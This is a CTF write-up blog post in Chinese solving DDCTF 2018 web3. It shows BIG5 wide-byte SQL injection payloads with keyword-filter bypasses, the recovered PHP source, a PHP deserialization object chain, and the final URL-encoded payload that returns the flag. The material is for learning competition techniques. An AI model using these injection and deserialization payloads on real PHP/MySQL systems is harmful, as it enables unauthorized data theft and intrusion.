11月06, 2018

CTF-web 笔记 8

DDCTF 2018 web3 注入的奥妙

几个月前参加的比赛,当时什么都不会,只签了个到。当然现在我也什么都不会,但是跟之前比确实有了些许的成长。

都说 CTF 是以赛促学,可我却没有把参加过的比赛利用起来,没有从比赛中收获东西。每次比赛只是签个到看看题目,赛后也不看大佬们的 writeup,没有丝毫收获与提升。前两天“骇极杯”还是只做了签到题,没有任何突破,不禁开始怀疑自己的能力与智商。

但是些许的失落依旧无法撼动我对信息安全的热爱与激情。为了追随兴趣,我的确舍弃了不少东西,却也不可用“得不偿失”来形容,因为现在还在积累阶段,还有近似无穷的知识需要我去学习。某一刻,我会把所有舍弃的东西都得回来。

接下来,我会慢慢吃透参加过的比赛里所有的 web 和 misc 题,以后的博客可能会出现许多比赛的真题,在原先的风格上有些改变。


赛题链接

由于主办方防作弊,每个人到手的题目链接是不一样的,最后得到的 flag 也不一样,这是我收到的链接:

题目链接


BIG5 宽字节注入

查看源码发现:

<!--https://wenku.baidu.com/view/bd29b7b3fd0a79563c1e72f7.html-->

访问发现是 BIG5 编码表,猜测是 BIG5 宽字节注入。

在注入点加上',会显示被\转义,这就是宽字节注入最明显的特征。

需要构造\\'来转义掉'前面的\,由于\的 URL 编码为%5c,故需要在 BIG5 编码表中找到后一个字节为5c的汉字。

比如汉字“暝”,它的 BIG5 编码为ba5c,在传入服务器时,进行拆解,变为%ba%5c,构造出�\\',绕过了对单引号的转义过滤。

思路如下:

-1暝' or 1=1%23

页面返回所有的搜索结果,说明确实存在宽字节注入。

Fuzz 一下,发现以下关键字被过滤了:

< > union database hex

其中databasehex可以通过双写包裹一遍来绕过。

-1暝' or 1=1 order by 3%23

没有报错,说明查询的字段数为 3。

payload1,查表名:

-1暝' uunionnion select unhhexex(hhexex((select group_concat(table_name) from information_schema.tables where table_schema=ddatabaseatabase()))),null,null%23

说明一下,这里的unhex(hex())的作用是避免报如下错误:

HY000 1271 Illegal mix of collations for operation 'UNION'

这个错误是因为两个数据库的字符集不同,无法联合查询,而unhex(hex())在解码时可以自动符合编码的要求。

以前习惯用limit一条条取出查询结果,既然函数group_concat()没有被过滤,还是用这个比较方便。

获得表名:

message route_rules

payload2,查字段名:

-1暝' uunionnion select unhhexex(hhexex((select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=ddatabaseatabase() limit 1 offset 0)))),null,null%23
-1暝' uunionnion select unhhexex(hhexex((select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=ddatabaseatabase() limit 1 offset 1)))),null,null%23

由于'被转义,在这里没有什么好的处理方法,只能通过嵌套查询来查字段名。

获得字段名:

message:id name contents

route_rules:id pattern action rulepass

message表的内容就是题目页面允许查询的东西,没有什么价值,故在route_rules表中继续往下查询。

payload3,查数据:

-1暝' uunionnion select unhhexex(hhexex((select group_concat(id) from route_rules))),null,null%23
-1暝' uunionnion select unhhexex(hhexex((select group_concat(action) from route_rules))),null,null%23
-1暝' uunionnion select unhhexex(hhexex((select group_concat(rulepass) from route_rules))),null,null%23
-1暝' uunionnion select unhhexex(hhexex((select group_concat(pattern) from route_rules))),null,null%23

action字段下,发现这么一条数据:

static/bootstrap/css/backup.zip

尝试访问这个文件,报404,故继续查询。

在用 payload3 对pattern字段进行,页面返回:

get*/u/well/getmessage/s,get*/

可以看出查询结果没有显示全,故使用函数substr()进行分段查询:

-1暝' uunionnion select unhhexex(hhexex(substr((select group_concat(pattern) from route_rules),1,15))),null,null%23
-1暝' uunionnion select unhhexex(hhexex(substr((select group_concat(pattern) from route_rules),16,15))),null,null%23
-1暝' uunionnion select unhhexex(hhexex(substr((select group_concat(pattern) from route_rules),31,15))),null,null%23
-1暝' uunionnion select unhhexex(hhexex(substr((select group_concat(pattern) from route_rules),46,15))),null,null%23
-1暝' uunionnion select unhhexex(hhexex(substr((select group_concat(pattern) from route_rules),61,15))),null,null%23
-1暝' uunionnion select unhhexex(hhexex(substr((select group_concat(pattern) from route_rules),76,15))),null,null%23
-1暝' uunionnion select unhhexex(hhexex(substr((select group_concat(pattern) from route_rules),91,15))),null,null%23

发现如下数据:

static/bootstrap/css/backup.css

PHP 反序列化漏洞

浏览器上访问该文件显示乱码,下载到本地后用文本编辑器打开,发现zip文件特有的PK文件头,结合之前不存在的backup.zip文件,故改格式为zip,解压获得网站目录:

Index/
    Controller/
        Base.php
        Justtry.php
        Trans.php
        Well.php
    Database/
        DbConfig.php
        DbConnect.php
        FLDbConnect.php
    Helper/
        Flag.php
        Reflect.php
        Response.php
        Router.php
        Security.php
        SQL.php
        Test.php
        UUID.php
    index.php

其中,与 flag 有关的 PHP 文件源码如下:

/Helper/Test.php

<?php
namespace Index\Helper;
use Index\Helper\Flag;
use Index\Helper\UUID;
defined('ACCESS_FILE') or exit('No direct script access allowed');
class Test
{
    public $user_uuid;
    public $fl;
    public function __construct()
    {
        echo 'hhkjjhkhjkhjkhkjhkhkhk';
    }
    public function __destruct()
    {
        $this->getflag('ctfuser', $this->user_uuid);
        // $this->setflag('ctfuser', $this->user_uuid);
    }
    public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
    {
        $user=array(
            'name' => $m,
            'oldid' => $o,
            'id' => $u
        );
        // var_dump($user);
        echo $this->fl->set($user, 2);
    }
    public function getflag($m = 'ctfuser', $u = 'default')
    {
        //TODO: check username
        $user=array(
            'name' => $m,
            'id' => $u
        );
        //懒了直接输出给你们了
        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
}

/Helper/Flag.php

<?php
namespace Index\Helper;
use PDO;
use Index\Helper\SQL;
defined('ACCESS_FILE') or exit('No direct script access allowed');
class Flag
{
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
    public function get($user)
    {

        $tmp=$this->sql->FlagGet($user);
        if ($tmp['status']===1) {
            return $this->sql->FlagGet($user)['flag'];
        }
    }
}

/Helper/SQL.php

<?php
namespace Index\Helper;
use Index\Database\DbConnect;
use Index\Database\FLDbConnect;
use PDO;
class SQL
{
    public $dbc;
    public $pdo;
    public function __construct(){}
    public function SetInsert($user, $rel)
    {
        $this->dbc = new DbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];
        // var_dump($user);
        //seriliza str
        $sth = $this->pdo->prepare('INSERT INTO `users` (`username`,`userflag`,`uuid`) VAlUES (:name,:flag,:uuid)');
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        $sth->bindValue(':flag', $rel, $this->pdo::PARAM_STR);
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            return array('status'=>1,'msg'=>'success');
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }
    public function SetInsertNew($user, $rel)
    {
        $this->dbc = new DbConnect();
        $this->pdo =  $this->dbc->getPDO();
        $user['name']= $user['name'];
        $user['id']= $user['id'];
        $sth = $this->pdo->prepare('INSERT INTO `users` (`username`,`uuid`,`oldid`) VAlUES (:name,:uuid,:oldid)');
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        $sth->bindValue(':oldid', $user['oldid'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $this->FlagInsert($user,$rel);
            return array('status'=>1,'msg'=>'success');
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }
    public function GetFlag($user)
    {
        $this->dbc = new DbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];
        $sth = $this->pdo->prepare('SELECT `username`,`userflag`,`uuid` FROM `users` WHERE `username` = :name');
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $result = $sth->fetch($this->pdo::FETCH_ASSOC);
            return array('status'=>1,'msg'=>'success','flag'=> $result['userflag']);
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }
    public function UserInsert($user)
    {
        $this->dbc = new DbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];
        // var_dump($user);
        $sth = $this->pdo->prepare('INSERT INTO `users` (`username`,`uuid`) VAlUES (:name,:uuid)');
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            return array('status'=>1,'msg'=>'success');
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }
    public function UserUUIDGet($username)
    {
        $this->dbc = new DbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $username = trim($username);
        // $user['id']= $user['id'];
        //seriliza str
        $sth = $this->pdo->prepare('SELECT `username`,`uuid` FROM `users` WHERE `username` = :name');
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $result = $sth->fetch($this->pdo::FETCH_ASSOC);
            return array('status'=>1,'msg'=>'success','user'=> $result['uuid']);
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }
    public function FlagInsert($user, $rel)
    {
        $this->dbc = new FLDbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];
        $sth = $this->pdo->prepare('INSERT INTO `passflag` (`uuid`,`flags`,`username`) VAlUES (:uuid,:flags,:name)');
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        $sth->bindValue(':flags', $rel, $this->pdo::PARAM_STR);
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            return array('status'=>1,'msg'=>'success');
        } else {
            // var_dump($this->pdo->errorInfo());
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }
    public function FlagGet($user)
    {
        $this->dbc = new FLDbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];
        //seriliza str
        // var_dump($user);
        $sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $result = $sth->fetch($this->pdo::FETCH_ASSOC);
            return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }
}

在如下代码中,存在 PHP 反序列化漏洞:

/Controller/Justtry.php

<?php
namespace Index\Controller;
use GuzzleHttp\Client;
use Index\Helper\Test;
use Index\Helper\Flag;
defined('ACCESS_FILE') or exit('No direct script access allowed');
// ini_set('display_errors', '1');
// error_reporting(E_ALL ^ E_NOTICE);
class Justtry extends Base
{
    private $white = array('test', 'well','base','justtry');
    public $flag;
    public function __construct()
    {
        parent::__construct();
        // $this->flag=new Test();
    }
    public function self($a='')
    {
        // echo $a;

        if (!in_array(strtolower($a), $this->white)) {
            exit('类不存在');
        }

        $res=$this->ref->getclassall($a);

        if (isset($res)) {
            echo $res;
        }
    }
    public function try($serialize)
    {
        unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
    }
    public function send()
    {
        $client = new Client([
            // Base URI is used with relative requests
            'base_uri' => 'http://httpbin.org',
            // You can set any number of default request options.
            'timeout'  => 2.0,
        ]);
    }
    //echo
}

反序列化函数存在于try这个类里:

public function try($serialize)
{
    unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}

如果利用反序列化漏洞直接执行Test.php下的getflag()函数,就能获得 flag。

由于Test的对象在销毁时会调用getflag()函数,所以需要往这个函数传入参数即可达到目的。

比如要传入用户的id,这里的id每一个答题者都不一样,所以最后得到的 flag 也不一样。

由于这个函数还要用到Flag.php中的get()函数,故设置$fl为一个Flag对象。

而这个get()函数还用到了SQL.php中的FlagGet()函数,故设置$test->fl->sql为一个SQL对象。

在本地构造 PHP 序列化链:

<?php
    class IndexHelperTest{
        public $user_uuid;
        public $fl;
    }
    class IndexHelperFlag{}
    class IndexHelperSQL{}
    $test=new IndexHelperTest();
    $test->user_uuid="dc130955-65fc-454e-b48d-da0e45efc6cc";//为用户名赋值
    $test->fl=new IndexHelperFlag();//fl成员设置为Flag类的实例
    $test->fl->sql=new IndexHelperSQL();//fl成员中的sql成员设置为SQL类的实例
    echo serialize($test);
?>

输出结果稍作修改,得到如下序列化字符串:

O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"dc130955-65fc-454e-b48d-da0e45efc6cc";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}

最后的问题就在于如何向一个 PHP 文件指定的类 POST 数据,如下代码规定了网站的路由方式:

/Helper/Router.php

<?php
namespace Index\Helper;
use Index\Helper\Security;
use Index\Database\DbConnect;
use PDO;
use ReflectionClass;
defined('ACCESS_FILE') or exit('No direct script access allowed');
class Router
{
    private $dbc;
    private $pdo;
    private $routers;
    private $sec;
    private $default = array('/index','/');
    private $white = array('/justtry/self');
    public function __construct()
    {
        $this->dbc = new DbConnect();
        $this->sec = new Security();
        $this->pdo =  $this->dbc->getPDO();
        $sql_route='SELECT * FROM `route_rules`';
        try {
            if ($this->pdo->query($sql_route)!=false) {
                $this->routers=$this->pdo->query($sql_route)->fetchAll(PDO::FETCH_ASSOC);
                // var_dump($this->routers);
                // var_dump($this->routers_bak);
            } else {
                exit('获取路由表失败 !'.'<hr>'.implode(' ', $this->pdo->errorInfo()));
            }
        } catch (PDOException $e) {
            die("Error!:".$e->getMessage().'<br>');
        }
    }
    public function dispatch()
    {
        $url = $_SERVER["REQUEST_URI"];
        $method = $_SERVER["REQUEST_METHOD"];
        foreach ($this->routers as $router) {
            $pattern = $router["pattern"];
            $pats = explode("*", $pattern);
            if (strcasecmp($pats[0], $method) == 0) {
                $action = $router["action"];
                // 是否与当前路由匹配
                $op = $this->checkUrl($method, strtolower($url), strtolower($pats[1]));
                //check uuid
                // var_dump($op);
                if ($op['opt'] === 1 && isset($op['param'])) {
                    //check uuid
                    if ($this->checkuuid($op['param'][0])) {
                        //去掉参数中的uuid
                        array_shift($op['param']);
                        return $this->invoke($action, $op['param']);
                    }
                }
            }
        }
        echo "404 error";
    }
    protected function invoke($action, $params)
    {
        if (!is_array($params)) {
            exit("404 error 0, bad params !".$params);
        }
        $acts = explode("#", $action);
        $className = ucfirst(strtolower($acts[0]));
        $methodName = strtolower($acts[1]);
        $actionDir = dirname(dirname(__FILE__)).DIRECTORY_SEPARATOR."Controller";
        // spl_autoload_register(function ($className, $actionDir) {
        $classFile = $actionDir.DIRECTORY_SEPARATOR.$className.".php";
        // var_dump($classFile);
        if (!file_exists($classFile)) {
            exit("404 error 1, no class found !");
        }
        // include $classFile;
        $refcall = 'Index\Controller'.'\\'.$className;
        $rc = new ReflectionClass($refcall);
        if (!$rc->hasMethod($methodName)) {
            exit("404 error 2, no method found !");
        } else {
            $instance = $rc->newInstance();

            $method = $rc->getMethod($methodName);
            // var_dump($method);
            $method->invokeArgs($instance, $params);
        }
    }
    //校验url中的uuid
    protected function checkuuid($uuid)
    {
        if (empty($uuid) || !isset($uuid) || empty($_SERVER['HTTP_HOST'])) {
            exit('非法请求1');
        }
        // var_dump($uuid);
        $uuid=$this->sec->replaceStr($uuid);
        $sth = $this->pdo->prepare('SELECT * FROM `users` WHERE `uuid`= :uu');
        $sth->bindValue(':uu', $uuid, $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $result = $sth->fetch($this->pdo::FETCH_ASSOC);
            if ($result['username'] == 'ctfuser') {
                return true;
            }
            exit('非法请求2');
        } else {
            exit('执行错误了!');
        }
    }
    // 正则匹配检查,并提取出参数
    private function checkUrl($method, $str, $pattern)
    {
        $params = array();
        if (strtoupper($method)=='POST') {
            foreach ($_POST as $key => $val) {
                if ($key!='r') {
                    $params[]=urldecode($val);
                }
            }
            // var_dump($params);
            $pattern = ltrim(rtrim($pattern, "/"));
            $pattern = "/".str_replace("/", "\/", $pattern)."\/?$/";
            $pattern = str_replace(":u", "([^\/]+)", $pattern);
            // echo $pattern.'<br>';
            if (preg_match($pattern, $str, $paramss) > 0) {
                array_shift($paramss);
                //合并参数
                $params = array_merge($paramss, $params);
                // var_dump($params);
                return array('opt'=>1,'param'=>$params);
            }
        }
        if (strtoupper($method)=='GET') {
            $pattern = ltrim(rtrim($pattern, "/"));
            $pattern = "/".str_replace("/", "\/", $pattern)."\/?$/";
            // echo $pattern.'[3]'.'<br>';
            $pattern = str_replace(":u", "([^\/]+)", $pattern);
            $pattern = str_replace(":s", "([^\/]+)", $pattern);
            $opt=preg_match($pattern, $str, $params);
            if ($opt > 0) {
                array_shift($params);
                return array('opt'=>$opt,'param'=>$params);
            }
        }
        return array('opt'=>0,'param'=>null);
    }
}

其中,有这么一行代码:

$sql_route='SELECT * FROM `route_rules`';

在之前对表route_rules进行注入时,获得了如下路由规则:

post*/u/justtry/try

这条路由规则允许了客户端向try这个类里 POST 数据。

所以 POST 的地址为:

http://116.85.48.105:5033/dc130955-65fc-454e-b48d-da0e45efc6cc/justtry/try

在上面的Router.php中,还发现了如下语句:

$params = array();
if (strtoupper($method)=='POST') {
    foreach ($_POST as $key => $val) {
        if ($key!='r') {
            $params[]=urldecode($val);
        }
    }
    // var_dump($params);
    $pattern = ltrim(rtrim($pattern, "/"));
    $pattern = "/".str_replace("/", "\/", $pattern)."\/?$/";
    $pattern = str_replace(":u", "([^\/]+)", $pattern);
    // echo $pattern.'<br>';
    if (preg_match($pattern, $str, $paramss) > 0) {
        array_shift($paramss);
        //合并参数
        $params = array_merge($paramss, $params);
        // var_dump($params);
        return array('opt'=>1,'param'=>$params);
    }
}

上面的代码把 POST 内容中的 value 取出,经过解码后存入一个数组里,所以 POST 的内容中参数名可以是任意的。

由于try这个类里的反序列化函数执行前先要进行 URL 解码,所以最后的 payload 如下:

string=O%3A17%3A%22Index%5CHelper%5CTest%22%3A2%3A%7Bs%3A9%3A%22user_uuid%22%3Bs%3A36%3A%22dc130955-65fc-454e-b48d-da0e45efc6cc%22%3Bs%3A2%3A%22fl%22%3BO%3A17%3A%22Index%5CHelper%5CFlag%22%3A1%3A%7Bs%3A3%3A%22sql%22%3BO%3A16%3A%22Index%5CHelper%5CSQL%22%3A0%3A%7B%7D%7D%7D

POST 成功之后获得 flag:

DDCTF{7b3e94654f70e451397445530db23c2a2dbcb79fb7fe8514aebad5ddc670d6cb}

本文链接:https://blog.cindemor.com/post/ctf-web-8.html

-- EOF --